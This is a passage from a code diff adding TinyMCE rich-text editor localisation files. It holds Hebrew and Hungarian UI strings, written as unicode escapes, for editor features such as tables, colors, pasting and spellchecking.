\u05d4\u05e4\u05e8\u05d9\u05d8\u05d9\u05dd","clipboard_no_support":"\u05db\u05e8\u05d2\u05e2 \u05dc\u05d0 \u05e0\u05ea\u05de\u05da \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d4\u05d3\u05e4\u05d3\u05e4\u05df \u05e9\u05dc\u05da. \u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05e7\u05d9\u05e6\u05d5\u05e8\u05d9 \u05d4\u05de\u05e7\u05dc\u05d3\u05ea.","clipboard_msg":"\n \u05d4\u05e2\u05ea\u05e7\u05d4/\u05d2\u05d6\u05d9\u05e8\u05d4 \u05d5\u05d4\u05d3\u05d1\u05e7\u05d4 \u05d0\u05d9\u05e0\u05dd \u05d6\u05de\u05d9\u05e0\u05d9\u05dd \u05d1 Mozilla \u05d5\u05d1-Firefox.\n \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e7\u05d1\u05dc \u05de\u05d9\u05d3\u05e2 \u05e0\u05d5\u05e1\u05e3 \u05e2\u05dc \u05d4\u05e0\u05d5\u05e9\u05d0?\n ","not_set":"-- \u05dc\u05d0 \u05d4\u05d5\u05d2\u05d3\u05e8 --","class_name":"\u05de\u05d7\u05dc\u05e7\u05d4",browse:"\u05e2\u05d9\u05d5\u05df",close:"\u05e1\u05d2\u05d9\u05e8\u05d4",cancel:"\u05d1\u05d9\u05d8\u05d5\u05dc",update:"\u05e2\u05d3\u05db\u05d5\u05df",insert:"\u05d4\u05d5\u05e1\u05e4\u05d4",apply:"\u05d0\u05d9\u05e9\u05d5\u05e8","edit_confirm":"\u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05e2\u05d5\u05e8\u05da \u05d4\u05de\u05ea\u05e7\u05d3\u05dd?","invalid_data_number":"{#field} \u05d7\u05d9\u05d9\u05d1 \u05dc\u05d4\u05d9\u05d5\u05ea \u05de\u05e1\u05e4\u05e8","invalid_data_min":"{#field} \u05d4\u05de\u05e1\u05e4\u05e8 \u05d7\u05d9\u05d9\u05d1 \u05dc\u05d4\u05d9\u05d5\u05ea \u05d2\u05d3\u05d5\u05dc \u05de-{#min}","invalid_data_size":"{#field} \u05d4\u05e2\u05e8\u05da \u05d7\u05d9\u05d9\u05d1 \u05dc\u05d4\u05d9\u05d5\u05ea \u05de\u05e1\u05e4\u05e8 \u05d0\u05d5 \u05d0\u05d7\u05d5\u05d6",value:"(\u05e2\u05e8\u05da)"},contextmenu:{full:"\u05e9\u05e0\u05d9 \u05d4\u05e6\u05d3\u05d3\u05d9\u05dd",right:"\u05d9\u05de\u05d9\u05df",center:"\u05d0\u05de\u05e6\u05e2",left:"\u05e9\u05de\u05d0\u05dc",align:"\u05d9\u05d9\u05e9\u05d5\u05e8"},insertdatetime:{"day_short":"\u05d9\u05d5\u05dd \u05d0\',\u05d9\u05d5\u05dd \u05d1\',\u05d9\u05d5\u05dd \u05d2\',\u05d9\u05d5\u05dd \u05d3\',\u05d9\u05d5\u05dd \u05d4\',\u05d9\u05d5\u05dd \u05d5\',\u05e9\u05d1\u05ea,\u05d9\u05d5\u05dd \u05d0\'","day_long":"\u05d9\u05d5\u05dd \u05e8\u05d0\u05e9\u05d5\u05df,\u05d9\u05d5\u05dd \u05e9\u05e0\u05d9,\u05d9\u05d5\u05dd \u05e9\u05dc\u05d9\u05e9\u05d9,\u05d9\u05d5\u05dd \u05e8\u05d1\u05d9\u05e2\u05d9,\u05d9\u05d5\u05dd \u05d7\u05de\u05d9\u05e9\u05d9,\u05d9\u05d5\u05dd \u05e9\u05d9\u05e9,\u05d9\u05d5\u05dd \u05e9\u05d1\u05ea,\u05d9\u05d5\u05dd \u05e8\u05d0\u05e9\u05d5\u05df","months_short":"\u05d9\u05e0\u05d5\u05d0\u05e8,\u05e4\u05d1\u05e8\u05d5\u05d0\u05e8,\u05de\u05e8\u05e5,\u05d0\u05e4\u05e8\u05d9\u05dc,\u05de\u05d0\u05d9,\u05d9\u05d5\u05e0\u05e2,\u05d9\u05d5\u05dc\u05d9,\u05d0\u05d5\u05d2\u05d5\u05e1\u05d8,\u05e1\u05e4\u05d8\u05de\u05d1\u05e8,\u05d0\u05d5\u05e7\u05d8\u05d5\u05d1\u05e8,\u05e0\u05d5\u05d1\u05de\u05d1\u05e8,\u05d3\u05e6\u05de\u05d1\u05e8","months_long":"\u05d9\u05e0\u05d5\u05d0\u05e8,\u05e4\u05d1\u05e8\u05d5\u05d0\u05e8,\u05de\u05e8\u05e5,\u05d0\u05e4\u05e8\u05d9\u05dc,\u05de\u05d0\u05d9,\u05d9\u05d5\u05e0\u05e2,\u05d9\u05d5\u05dc\u05d9,\u05d0\u05d5\u05d2\u05d5\u05e1\u05d8,\u05e1\u05e4\u05d8\u05de\u05d1\u05e8,\u05d0\u05d5\u05e7\u05d8\u05d5\u05d1\u05e8,\u05e0\u05d5\u05d1\u05de\u05d1\u05e8,\u05d3\u05e6\u05de\u05d1\u05e8","inserttime_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05d6\u05de\u05df","insertdate_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05ea\u05d0\u05e8\u05d9\u05da","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"\u05d4\u05d3\u05e4\u05e1\u05d4"},preview:{"preview_desc":"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4"},directionality:{"rtl_desc":"\u05db\u05d9\u05d5\u05d5\u05df \u05d8\u05e7\u05e1\u05d8 \u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc","ltr_desc":"\u05db\u05d9\u05d5\u05d5\u05df \u05d8\u05e7\u05e1\u05d8 \u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df"},layer:{content:"\u05e9\u05db\u05d1\u05d4 \u05d7\u05d3\u05e9\u05d4...","absolute_desc":"\u05d1\u05d7\u05d9\u05e8\u05ea \u05de\u05d9\u05e7\u05d5\u05dd \u05de\u05d5\u05d7\u05dc\u05d8","backward_desc":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05d0\u05d7\u05d5\u05e8\u05d4","forward_desc":"\u05d4\u05e2\u05d1\u05e8\u05d4 \u05e7\u05d3\u05d9\u05de\u05d4","insertlayer_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e9\u05db\u05d1\u05d4 \u05d7\u05d3\u05e9\u05d4"},save:{"save_desc":"\u05e9\u05de\u05d9\u05e8\u05d4","cancel_desc":"\u05d1\u05d9\u05d8\u05d5\u05dc \u05db\u05dc \u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05dd"},nonbreaking:{"nonbreaking_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e8\u05d5\u05d5\u05d7"},iespell:{download:" \u05dc\u05d0 \u05e0\u05de\u05e6\u05d0 ieSpell. \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05ea\u05e7\u05d9\u05df?","iespell_desc":"\u05d1\u05d3\u05d9\u05e7\u05ea \u05d0\u05d9\u05d5\u05ea \u05d1\u05d0\u05e0\u05d2\u05dc\u05d9\u05ea"},advhr:{"advhr_desc":"\u05e7\u05d5 \u05d0\u05d5\u05e4\u05e7\u05d9","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u05e1\u05de\u05d9\u05d9\u05dc\u05d9\u05dd","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u05d4\u05d7\u05dc\u05e4\u05d4","search_desc":"\u05d7\u05d9\u05e4\u05d5\u05e9","delta_width":"","delta_height":""},advimage:{"image_desc":"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05ea\u05de\u05d5\u05e0\u05d4","delta_width":"","delta_height":""},advlink:{"link_desc":"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u05d4\u05db\u05e0\u05e1/\u05e2\u05e8\u05d5\u05da \u05ea\u05db\u05d5\u05e0\u05d5\u05ea","ins_desc":"\u05d4\u05db\u05e0\u05e1\u05d4","del_desc":"\u05de\u05d7\u05d9\u05e7\u05d4","acronym_desc":"\u05e8\u05d0\u05e9\u05d9 \u05ea\u05d9\u05d1\u05d5\u05ea","abbr_desc":"\u05e7\u05d9\u05e6\u05d5\u05e8","cite_desc":"\u05e6\u05d9\u05d8\u05d5\u05d8","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u05e2\u05d3\u05db\u05d5\u05df \u05d4\u05d2\u05d3\u05e8\u05d5\u05ea CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"\u05d1\u05d7\u05e8 \u05d4\u05db\u05dc","paste_word_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4 \u05de-WORD","paste_text_desc":"\u05d4\u05d3\u05d1\u05e7\u05d4 \u05db\u05d8\u05e7\u05e1\u05d8 \u05d1\u05dc\u05d1\u05d3"},"paste_dlg":{"word_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V.","text_linebreaks":"\u05d4\u05e9\u05d0\u05e8 \u05d0\u05ea \u05e9\u05d5\u05e8\u05d5\u05ea \u05d4\u05e8\u05d5\u05d5\u05d7","text_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V."},table:{cell:"\u05ea\u05d0",col:"\u05e2\u05de\u05d5\u05d3\u05d4",row:"\u05e9\u05d5\u05e8\u05d4",del:"\u05de\u05d7\u05d9\u05e7\u05ea \u05d8\u05d1\u05dc\u05d4","copy_row_desc":"\u05d4\u05e2\u05ea\u05e7\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","cut_row_desc":"\u05d2\u05d6\u05d9\u05e8\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","paste_row_after_desc":"\u05d4\u05d3\u05d1\u05e7\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4 \u05d0\u05d7\u05e8\u05d9","paste_row_before_desc":"\u05d4\u05d3\u05d1\u05e7\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4 \u05dc\u05e4\u05e0\u05d9","props_desc":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05d4\u05d8\u05d1\u05dc\u05d4","cell_desc":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05ea\u05d0 \u05d1\u05d8\u05d1\u05dc\u05d4","row_desc":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","merge_cells_desc":"\u05d0\u05d9\u05d7\u05d5\u05d3 \u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4","split_cells_desc":"\u05e4\u05d9\u05e6\u05d5\u05dc \u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4","delete_col_desc":"\u05d4\u05e1\u05e8\u05ea \u05e2\u05de\u05d5\u05d3\u05d4","col_after_desc":"\u05d4\u05db\u05e0\u05e1\u05ea \u05e2\u05de\u05d5\u05d3\u05d4 \u05de\u05e9\u05de\u05d0\u05dc","col_before_desc":"\u05d4\u05db\u05e0\u05e1\u05ea \u05e2\u05de\u05d5\u05d3\u05d4 \u05de\u05d9\u05de\u05d9\u05df","delete_row_desc":"\u05de\u05d7\u05d9\u05e7\u05ea \u05e9\u05d5\u05e8\u05d4","row_after_desc":"\u05d4\u05db\u05e0\u05e1\u05ea \u05e9\u05d5\u05e8\u05d4 \u05de\u05ea\u05d7\u05ea","row_before_desc":"\u05d4\u05db\u05e0\u05e1\u05ea \u05e9\u05d5\u05e8\u05d4 \u05de\u05e2\u05dc",desc:"\u05d4\u05db\u05e0\u05e1\u05ea \u05d0\u05d5 \u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05d1\u05dc\u05d4","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u05d0\u05dd \u05ea\u05e9\u05d7\u05d6\u05e8 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05df \u05dc\u05d2\u05e8\u05d9\u05e1\u05d0 \u05d4\u05e9\u05de\u05d5\u05e8\u05d4, \u05ea\u05d0\u05d1\u05d3 \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d5\u05db\u05df \u05e9\u05e0\u05de\u05e6\u05d0 \u05db\u05e2\u05ea \u05d1\u05e2\u05d5\u05e8\u05da. \u05d4\u05d0\u05dd \u05d0\u05ea\u05d4 \u05d1\u05d8\u05d5\u05d7 \u05e9\u05d0\u05ea\u05d4 \u05e8\u05d5\u05e6\u05d4 \u05dc\u05e9\u05d7\u05d6\u05e8 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05df \u05dc\u05d2\u05d9\u05e8\u05e1\u05d0 \u05d4\u05e9\u05de\u05d5\u05e8\u05d4?.","restore_content":"\u05e9\u05d7\u05d6\u05d5\u05e8 \u05dc\u05d2\u05d9\u05e8\u05e1\u05d0 \u05e9\u05de\u05d5\u05e8\u05d4 \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea","unload_msg":"\u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05d9\u05dd \u05e9\u05d1\u05d9\u05e6\u05e2\u05ea \u05dc\u05d0 \u05d9\u05e9\u05de\u05e8\u05d5 \u05d0\u05dd \u05ea\u05e2\u05d1\u05d5\u05e8 \u05de\u05d3\u05e3 \u05d6\u05d4"},fullscreen:{desc:"\u05de\u05e2\u05d1\u05e8 \u05dc\u05de\u05e1\u05da \u05de\u05dc\u05d0/\u05d7\u05dc\u05e7\u05d9"},media:{edit:"\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05e8\u05d8\u05d5\u05df",desc:"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05e8\u05d8\u05d5\u05df","delta_height":"","delta_width":""},fullpage:{desc:"\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e2\u05de\u05d5\u05d3","delta_width":"","delta_height":""},template:{desc:"Insert predefined template content"},visualchars:{desc:"\u05d4\u05e6\u05d2/\u05d4\u05e1\u05ea\u05e8 \u05ea\u05d5\u05d5\u05d9 \u05d1\u05e7\u05e8\u05d4"},spellchecker:{desc:"\u05d4\u05e4\u05e2\u05dc\u05ea \u05d1\u05d5\u05d3\u05e7 \u05d0\u05d9\u05d5\u05ea",menu:"\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d5\u05d3\u05e7 \u05d0\u05d9\u05d5\u05ea","ignore_word":"\u05dc\u05d4\u05ea\u05e2\u05dc\u05dd \u05de\u05d4\u05de\u05d9\u05dc\u05d4","ignore_words":"\u05dc\u05d4\u05ea\u05e2\u05dc\u05dd \u05de\u05d4\u05db\u05dc",langs:"\u05e9\u05e4\u05d5\u05ea",wait:"\u05e0\u05d0 \u05dc\u05d4\u05de\u05ea\u05d9\u05df..",sug:"\u05d4\u05e6\u05e2\u05d5\u05ea","no_sug":"\u05d0\u05d9\u05df \u05d4\u05e6\u05e2\u05d5\u05ea","no_mpell":"\u05dc\u05d0 \u05e0\u05de\u05e6\u05d0\u05d5 \u05e9\u05d2\u05d9\u05d0\u05d5\u05ea \u05d0\u05d9\u05d5\u05ea","learn_word":"\u05dc\u05de\u05d3 \u05de\u05d9\u05dc\u05d9\u05dd"},pagebreak:{desc:"\u05d4\u05d5\u05e1\u05e4\u05ea \u05de\u05e2\u05d1\u05e8 \u05d3\u05e3"},advlist:{types:"\u05e1\u05d5\u05d2\u05d9\u05dd",def:"\u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc","lower_alpha":"Lower alpha","lower_greek":"Lower greek","lower_roman":"Lower roman","upper_alpha":"Upper alpha","upper_roman":"Upper roman",circle:"\u05e2\u05d2\u05d5\u05dc",disc:"\u05d3\u05d9\u05e1\u05e7",square:"\u05de\u05e8\u05d5\u05d1\u05e2"},colors:{"333300":"\u05d6\u05d9\u05ea \u05db\u05d4\u05d4","993300":"\u05db\u05ea\u05d5\u05dd \u05db\u05d4\u05d4","000000":"\u05e9\u05d7\u05d5\u05e8","003300":"\u05d9\u05e8\u05d5\u05e7 \u05db\u05d4\u05d4","003366":"\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6 \u05db\u05d4\u05d4","000080":"\u05db\u05d7\u05d5\u05dc \u05e6\u05d9","333399":"\u05d0\u05d9\u05e0\u05d3\u05d9\u05d2\u05d5","333333":"\u05d0\u05e4\u05d5\u05e8 \u05db\u05d4\u05d4 \u05de\u05d0\u05d5\u05d3","800000":"\u05e2\u05e8\u05de\u05d5\u05e0\u05d9",FF6600:"\u05db\u05ea\u05d5\u05dd","808000":"\u05d6\u05d9\u05ea","008000":"\u05d9\u05e8\u05d5\u05e7","008080":"\u05d9\u05e8\u05d5\u05e7-\u05db\u05d7\u05d5\u05dc \u05e2\u05de\u05d5\u05e7","0000FF":"\u05db\u05d7\u05d5\u05dc","666699":"\u05db\u05d7\u05d5\u05dc \u05d0\u05e4\u05e8\u05e4\u05e8","808080":"\u05d0\u05e4\u05d5\u05e8",FF0000:"\u05d0\u05d3\u05d5\u05dd",FF9900:"\u05e2\u05e0\u05d1\u05e8","99CC00":"\u05d9\u05e8\u05d5\u05e7 \u05e6\u05d4\u05d1\u05d4\u05d1","339966":"\u05d9\u05e8\u05d5\u05e7 \u05d9\u05dd","33CCCC":"\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6","3366FF":"\u05db\u05d7\u05d5\u05dc \u05e8\u05d5\u05d9\u05d0\u05dc","800080":"\u05e1\u05d2\u05d5\u05dc","999999":"\u05d0\u05e4\u05d5\u05e8 \u05d1\u05d9\u05e0\u05d9\u05d9\u05dd",FF00FF:"\u05e1\u05d2\u05d5\u05dc-\u05d5\u05e8\u05d5\u05d3 (\u05de\u05d2\u05f3\u05e0\u05d8\u05d4)",FFCC00:"\u05d6\u05d4\u05d1",FFFF00:"\u05e6\u05d4\u05d5\u05d1","00FF00":"\u05dc\u05d9\u05d9\u05dd","00FFFF":"\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6 \u05de\u05d9\u05dd","00CCFF":"\u05ea\u05db\u05dc\u05ea","993366":"\u05d7\u05d5\u05dd",C0C0C0:"\u05db\u05e1\u05e3",FF99CC:"\u05d5\u05e8\u05d5\u05d3",FFCC99:"\u05d0\u05e4\u05e8\u05e1\u05e7",FFFF99:"\u05e6\u05d4\u05d5\u05d1 \u05d1\u05d4\u05d9\u05e8",CCFFCC:"\u05d9\u05e8\u05d5\u05e7 \u05d7\u05d9\u05d5\u05d5\u05e8",CCFFFF:"\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6 \u05d1\u05d4\u05d9\u05e8","99CCFF":"\u05ea\u05db\u05dc\u05ea \u05d1\u05d4\u05d9\u05e8",CC99FF:"\u05d5\u05e8\u05d5\u05d3 \u05e2\u05de\u05d5\u05e7",FFFFFF:"\u05dc\u05d1\u05df"},aria:{"rich_text_area":"\u05d0\u05d6\u05d5\u05e8 \u05e2\u05d5\u05e8\u05da \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8"},wordcount:{words:"\u05de\u05d9\u05dc\u05d9\u05dd:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/hu.js b/js/tiny_mce/langs/hu.js new file mode 100755 index 0000000..864af04 --- /dev/null +++ b/js/tiny_mce/langs/hu.js @@ -0,0 +1 @@ +tinyMCE.addI18n({hu:{common:{"more_colors":"Tov\u00e1bbi sz\u00ednek","invalid_data":"Hiba: \u00c9rv\u00e9nytelen adatok, pirossal jel\u00f6lve.","popup_blocked":"A felugr\u00f3 ablakok tilt\u00e1sa miatt nem siker\u00fclt megjelen\u00edteni egy, az alkalmaz\u00e1shoz sz\u00fcks\u00e9ges ablakot. Enged\u00e9lyezze a b\u00f6ng\u00e9sz\u0151j\u00e9ben a felugr\u00f3 ablakokat, hogy minden funkci\u00f3t haszn\u00e1lhasson.","clipboard_no_support":"Jelenleg nem t\u00e1mogatja a b\u00f6ng\u00e9sz\u0151je, haszn\u00e1lja a billenty\u0171kombin\u00e1ci\u00f3kat helyette.","clipboard_msg":"A M\u00e1sol\u00e1s/Kiv\u00e1g\u00e1s/Besz\u00far\u00e1s funkci\u00f3k nem \u00e9rhet\u0151ek el Mozilla \u00e9s Firefox alatt.\nK\u00edv\u00e1n t\u00f6bbet tudni err\u0151l a t\u00e9m\u00e1r\u00f3l?","not_set":"-- Nincs megadva --","class_name":"Oszt\u00e1ly",browse:"Tall\u00f3z\u00e1s",close:"Bez\u00e1r\u00e1s",cancel:"M\u00e9gsem",update:"Friss\u00edt\u00e9s",insert:"Besz\u00far\u00e1s",apply:"Alkalmaz\u00e1s","edit_confirm":"Haszn\u00e1lni k\u00edv\u00e1nja a sz\u00f6vegszerkeszt\u0151 m\u00f3dot ebben a sz\u00f6vegdobozban?","invalid_data_number":"{#field} sz\u00e1m kell legyen","invalid_data_min":"{#field} egy nagyobb sz\u00e1m kell legyen, mint {#min}","invalid_data_size":"{#field} egy sz\u00e1m vagy sz\u00e1zal\u00e9k kell legyen",value:"(\u00e9rt\u00e9k)"},contextmenu:{full:"Sorkiz\u00e1rt",right:"Jobbra",center:"K\u00f6z\u00e9pre",left:"Balra",align:"Igaz\u00edt\u00e1s"},insertdatetime:{"day_short":"V,H,K,Sze,Cs,P,Szo,V","day_long":"vas\u00e1rnap,h\u00e9tf\u0151,kedd,szerda,cs\u00fct\u00f6rt\u00f6k,p\u00e9ntek,szombat,vas\u00e1rnap","months_short":"jan,feb,m\u00e1r,\u00e1pr,m\u00e1j,j\u00fan,j\u00fal,aug,szept,okt,nov,dec","months_long":"janu\u00e1r,febru\u00e1r,m\u00e1rcius,\u00e1prilis,m\u00e1jus,j\u00fanius,j\u00falius,augusztus,szeptember,okt\u00f3ber,november,december","inserttime_desc":"Id\u0151 besz\u00far\u00e1sa","insertdate_desc":"D\u00e1tum besz\u00far\u00e1sa","time_fmt":"%H:%M:%S","date_fmt":"%Y. %m. %d."},print:{"print_desc":"Nyomtat\u00e1s"},preview:{"preview_desc":"El\u0151n\u00e9zet"},directionality:{"rtl_desc":"Jobbr\u00f3l balra","ltr_desc":"Balr\u00f3l jobbra"},layer:{content:"\u00daj r\u00e9teg...","absolute_desc":"Abszol\u00fat poz\u00edci\u00f3 ki-/bekapcsol\u00e1sa","backward_desc":"Mozgat\u00e1s h\u00e1tra","forward_desc":"Mozgat\u00e1s el\u0151re","insertlayer_desc":"\u00daj r\u00e9teg besz\u00far\u00e1sa"},save:{"save_desc":"Ment\u00e9s","cancel_desc":"Minden m\u00f3dos\u00edt\u00e1s visszavon\u00e1sa"},nonbreaking:{"nonbreaking_desc":"Nemsort\u00f6r\u0151 sz\u00f3k\u00f6z besz\u00far\u00e1sa"},iespell:{download:"ieSpell nem tal\u00e1lhat\u00f3. Telep\u00edti most?","iespell_desc":"Helyes\u00edr\u00e1s-ellen\u0151rz\u00e9s futtat\u00e1sa"},advhr:{"advhr_desc":"V\u00edzszintes vonal","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Hangulatjelek","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Keres\u00e9s/Csere","search_desc":"Keres\u00e9s","delta_width":"","delta_height":""},advimage:{"image_desc":"K\u00e9p besz\u00far\u00e1sa/szerkeszt\u00e9se","delta_width":"","delta_height":""},advlink:{"link_desc":"Link besz\u00far\u00e1sa/szerkeszt\u00e9se","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Tulajdons\u00e1gok besz\u00far\u00e1sa/szerkeszt\u00e9se","ins_desc":"Besz\u00fart","del_desc":"T\u00f6r\u00f6lt","acronym_desc":"Bet\u0171sz\u00f3","abbr_desc":"R\u00f6vid\u00edt\u00e9s","cite_desc":"Id\u00e9zet","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS st\u00edlus szerkeszt\u00e9se","delta_height":"","delta_width":""},paste:{"plaintext_mode":"A besz\u00far\u00e1s mostant\u00f3l egyszer\u0171 sz\u00f6veg m\u00f3dban van. Kattintson ide \u00fajra ezen m\u00f3d ki/be kapcsol\u00e1s\u00e1hoz.","plaintext_mode_sticky":"A besz\u00far\u00e1s mostant\u00f3l egyszer\u0171 sz\u00f6veg m\u00f3dban van. Kattintson ide \u00fajra ezen m\u00f3d ki/be kapcsol\u00e1s\u00e1hoz. Miut\u00e1n besz\u00far valamit, visszaker\u00fcl norm\u00e1l m\u00f3dba.","selectall_desc":"Mindent kijel\u00f6l","paste_word_desc":"Besz\u00far\u00e1s Wordb\u0151l","paste_text_desc":"Besz\u00far\u00e1s sz\u00f6vegk\u00e9nt"},"paste_dlg":{"word_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez.","text_linebreaks":"Sort\u00f6r\u00e9sek megtart\u00e1sa","text_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez."},table:{cell:"Cella",col:"Oszlop",row:"Sor",del:"T\u00e1bl\u00e1zat t\u00f6rl\u00e9se","copy_row_desc":"Sor m\u00e1sol\u00e1sa","cut_row_desc":"Sor kiv\u00e1g\u00e1sa","paste_row_after_desc":"Sor bem\u00e1sol\u00e1sa ut\u00e1na","paste_row_before_desc":"Sor bem\u00e1sol\u00e1sa el\u00e9","props_desc":"T\u00e1bl\u00e1zat tulajdons\u00e1gai","cell_desc":"Cella tulajdons\u00e1gai","row_desc":"Sor tulajdons\u00e1gai","merge_cells_desc":"Cell\u00e1k \u00f6sszevon\u00e1sa","split_cells_desc":"Cell\u00e1k feloszt\u00e1sa","delete_col_desc":"Oszlop t\u00f6rl\u00e9se","col_after_desc":"Oszlop besz\u00far\u00e1sa ut\u00e1na","col_before_desc":"Oszlop besz\u00far\u00e1sa el\u00e9","delete_row_desc":"Sor t\u00f6rl\u00e9se","row_after_desc":"Sor besz\u00far\u00e1sa ut\u00e1na","row_before_desc":"Sor besz\u00far\u00e1sa el\u00e9",desc:"T\u00e1bl\u00e1zat besz\u00far\u00e1sa/szerkeszt\u00e9se","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Ha visszat\u00f6lti a mentett be\u00e1ll\u00edt\u00e1sokat, a jelenlegi \u00e1llapot elv\u00e9sz.\n\nBiztosan visszat\u00f6lti a mentett \u00e1llapotot?.","restore_content":"Automatikus ment\u00e9s bet\u00f6lt\u00e9se.","unload_msg":"A m\u00f3dos\u00edt\u00e1sok nem lesznek mentve, ha elhagyja az oldalt."},fullscreen:{desc:"Teljesk\u00e9perny\u0151s m\u00f3d ki-/bekapcsol\u00e1sa"},media:{edit:"Be\u00e1gyazott m\u00e9dia szerkeszt\u00e9se",desc:"Be\u00e1gyazott m\u00e9dia besz\u00far\u00e1sa/szerkeszt\u00e9se","delta_height":"","delta_width":""},fullpage:{desc:"Dokumentum tulajdons\u00e1gai","delta_width":"","delta_height":""},template:{desc:"Sablon beilleszt\u00e9se"},visualchars:{desc:"Vizu\u00e1lis vez\u00e9rl\u0151karakterek be/ki."},spellchecker:{desc:"Helyes\u00edr\u00e1s-ellen\u0151rz\u0151 ki-/bekapcsol\u00e1sa",menu:"Helyes\u00edr\u00e1s-ellen\u0151rz\u0151 tulajdons\u00e1gai","ignore_word":"Sz\u00f3 kihagy\u00e1sa","ignore_words":"Mindet kihagy",langs:"Nyelvek",wait:"K\u00e9rem, v\u00e1rjon...",sug:"Aj\u00e1nl\u00e1sok","no_sug":"Nincs aj\u00e1nl\u00e1s","no_mpell":"Nem tal\u00e1ltam helyes\u00edr\u00e1si hib\u00e1t.","learn_word":"Sz\u00f3 